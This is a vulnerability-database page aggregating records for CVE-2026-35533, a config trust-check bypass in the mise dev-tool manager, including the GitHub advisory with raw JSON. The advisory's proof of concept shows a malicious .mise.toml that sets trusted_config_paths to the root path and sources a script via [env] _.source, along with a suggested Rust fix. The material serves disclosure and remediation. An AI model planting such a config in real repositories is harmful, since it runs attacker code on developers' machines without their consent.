Vulnerability-Lookup

CVE-2026-35533 (GCVE-0-2026-35533)

Vulnerability from cvelistv5 – Published: 2026-04-07 21:01 – Updated: 2026-04-08 14:31

Title

mise has a local settings bypass config trust checks

Summary

mise manages dev tools like node, python, cmake, and terraform. From 2026.2.18 through 2026.4.5, mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-284 - Improper Access Control

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/jdx/mise/security/advisories/G…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
jdx	mise	Affected: >= 2026.2.18, <= 2026.4.5

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-35533

Vulnerability from fkie_nvd - Published: 2026-04-07 21:17 - Updated: 2026-06-17 10:40

Severity

7.7 (High) - CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/jdx/mise/security/advisories/GHSA-436v-8fw5-4mj8	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	jdx	mise	*

JSON

To clipboard

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              "status": "affected",
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    }
  ],
  "id": "CVE-2026-35533",
  "lastModified": "2026-06-17T10:40:43.840",
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GHSA-436V-8FW5-4MJ8

Vulnerability from github – Published: 2026-04-07 20:13 – Updated: 2026-06-12 19:30

Summary

Local settings bypass config trust checks

Details

Summary

mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.

The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.

Details

The vulnerable load order is:

Settings::try_get() preloads local settings files.
parse_settings_file() returns settings_file.settings without checking whether the file is trusted.
trust_check() later consults those already-loaded settings.

The main trust-bypass path is in is_trusted():

let settings = Settings::get();
for p in settings.trusted_config_paths() {
    if canonicalized_path.starts_with(p) {
        add_trusted(canonicalized_path.to_path_buf());
        return true;
    }
}

If a local project file sets:

[settings]
trusted_config_paths = ["/"]

then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.

Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.

PoC

Test environment:

Docker
linux-arm64
mise v2026.3.17

Negative control:

[env]
_.source = ["./poc.sh"]

mise ls fails with:

Config files in /work/poc/.mise.toml are not trusted.

and /tmp/mise-proof.txt is not created.

Primary exploit:

[settings]
trusted_config_paths = ["/"]

[env]
_.source = ["./poc.sh"]

with:

#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txt

Then:

mise hook-env -s bash --force

Observed:

/tmp/mise-proof.txt => trusted_paths_hookenv

Related regression check:

v2026.2.17: local yes = true does not bypass trust
v2026.2.18: the same local yes = true value auto-approves the trust prompt and the side effect file is created

Impact

An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.

Demonstrated on current supported versions:

execution via [env] _.source during mise hook-env
bypass of the protection that mise trust is supposed to provide for dangerous config features

On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.

Suggested Fix

Do not honor trust-control settings from non-global project config files.

At minimum, ignore these fields when loading local project config:

trusted_config_paths
yes
ci
paranoid

For example:

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
    let raw = file::read_to_string(path)?;
    let settings_file: SettingsFile = toml::from_str(&raw)?;
    let mut settings = settings_file.settings;

    if !config::is_global_config(path) {
        settings.yes = None;
        settings.ci = None;
        settings.trusted_config_paths = None;
        settings.paranoid = None;
    }

    Ok(settings)
}

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "mise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.2.18"
            },
            {
              "fixed": "2026.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-07T20:13:11Z",
    "nvd_published_at": "2026-04-07T21:17:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks.\n\nThe strongest current variant is `trusted_config_paths = [\"/\"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also lets local `yes = true` / `ci = true` auto-approve trust prompts on `v2026.2.18+`, but the primary PoC below uses the stronger `trusted_config_paths` path.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads local settings files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the file is trusted.\n3. [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L297-L321) later consults those already-loaded settings.\n\nThe main trust-bypass path is in [`is_trusted()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L324-L387):\n\n```rust\nlet settings = Settings::get();\nfor p in settings.trusted_config_paths() {\n    if canonicalized_path.starts_with(p) {\n        add_trusted(canonicalized_path.to_path_buf());\n        return true;\n    }\n}\n```\n\nIf a local project file sets:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n```\n\nthen every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.\n\nRelated variant: [`trust_check()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/config_file/mod.rs#L307-L316) auto-accepts explicit trust prompts when `Settings::get().yes` is true, and [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L330-L332) sets `yes = true` when `ci` is set. I confirmed that regression on `v2026.2.18`, but the primary PoC below does not depend on it.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```toml\n[env]\n_.source = [\"./poc.sh\"]\n```\n\n`mise ls` fails with:\n\n```text\nConfig files in /work/poc/.mise.toml are not trusted.\n```\n\nand `/tmp/mise-proof.txt` is not created.\n\nPrimary exploit:\n\n```toml\n[settings]\ntrusted_config_paths = [\"/\"]\n\n[env]\n_.source = [\"./poc.sh\"]\n```\n\nwith:\n\n```bash\n#!/usr/bin/env bash\necho trusted_paths_hookenv \u003e /tmp/mise-proof.txt\n```\n\nThen:\n\n```bash\nmise hook-env -s bash --force\n```\n\nObserved:\n\n```text\n/tmp/mise-proof.txt =\u003e trusted_paths_hookenv\n```\n\nRelated regression check:\n\n- `v2026.2.17`: local `yes = true` does not bypass trust\n- `v2026.2.18`: the same local `yes = true` value auto-approves the trust prompt and the side effect file is created\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can make `mise` trust and evaluate dangerous directives from that same untrusted file.\n\nDemonstrated on current supported versions:\n\n- execution via `[env] _.source` during `mise hook-env`\n- bypass of the protection that `mise trust` is supposed to provide for dangerous config features\n\nOn newer versions, the same root cause also lets local `yes` / `ci` values auto-approve explicit trust prompts.\n\n### Suggested Fix\n\nDo not honor trust-control settings from non-global project config files.\n\nAt minimum, ignore these fields when loading local project config:\n\n- `trusted_config_paths`\n- `yes`\n- `ci`\n- `paranoid`\n\nFor example:\n\n```rust\npub fn parse_settings_file(path: \u0026Path) -\u003e Result\u003cSettingsPartial\u003e {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(\u0026raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.yes = None;\n        settings.ci = None;\n        settings.trusted_config_paths = None;\n        settings.paranoid = None;\n    }\n\n    Ok(settings)\n}\n```",
  "id": "GHSA-436v-8fw5-4mj8",
  "modified": "2026-06-12T19:30:52Z",
  "published": "2026-04-07T20:13:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jdx/mise/security/advisories/GHSA-436v-8fw5-4mj8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35533"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jdx/mise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local settings bypass config trust checks"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

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CVE-2026-35533 (GCVE-0-2026-35533)

FKIE_CVE-2026-35533

GHSA-436V-8FW5-4MJ8

Summary

Details

PoC

Impact

Suggested Fix

Tags

Sightings

Nomenclature